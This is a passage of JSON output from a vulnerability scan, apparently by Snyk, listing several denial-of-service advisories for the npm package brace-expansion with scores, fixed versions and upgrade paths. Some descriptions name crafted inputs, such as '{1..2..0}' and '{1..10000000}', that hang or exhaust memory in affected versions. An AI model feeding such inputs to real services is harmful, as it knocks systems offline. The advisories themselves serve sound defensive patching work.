Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": 